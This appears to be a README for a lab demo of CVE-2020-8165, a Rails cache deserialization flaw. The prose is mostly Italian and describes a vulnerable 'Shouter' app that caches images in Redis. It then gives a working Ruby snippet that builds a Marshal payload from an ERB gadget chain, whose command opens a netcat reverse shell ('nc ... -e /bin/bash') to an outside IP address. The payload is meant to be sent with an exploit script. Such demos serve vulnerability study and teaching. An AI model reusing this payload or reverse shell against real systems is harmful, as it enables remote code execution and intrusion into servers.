
Yet another demo of CVE-2020-8165, though in a more realistic implementation than most.
CVE-2020-8165
Esiste una vulnerabilità di deserializzazione di dati non attendibili in rails < 5.2.4.3, rails < 6.0.3.1 che può consentire a un attaccante di fare unmarshal di oggetti forniti dall'utente in MemCacheStore e RedisCacheStore, portando potenzialmente a un RCE.
L'app "Shouter" ha una funzionalità di caching nel suo modello Shout in cui le immagini opzionali inviate con uno shout:string vengono memorizzate nella cache di Redis e recuperate da lì invece che dal DB. Poiché il metodo vulnerabile Rails.cache.fetch viene usato per interagire con la cache, questa app è suscettibile a CVE-2020-8165 e i risultati dell'RCE vengono inseriti nell'attributo src dei tag img nella route della dashboard.
Il seguente frammento genererà il payload che devi inviare usando exploit.py. C'è qualche sfumatura nel passaggio di serializzazione che deve essere compresa per implementare l'exploit completamente in Python. Quindi, Marshal.dump in Ruby è necessario per generare il payload esatto (per ora).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload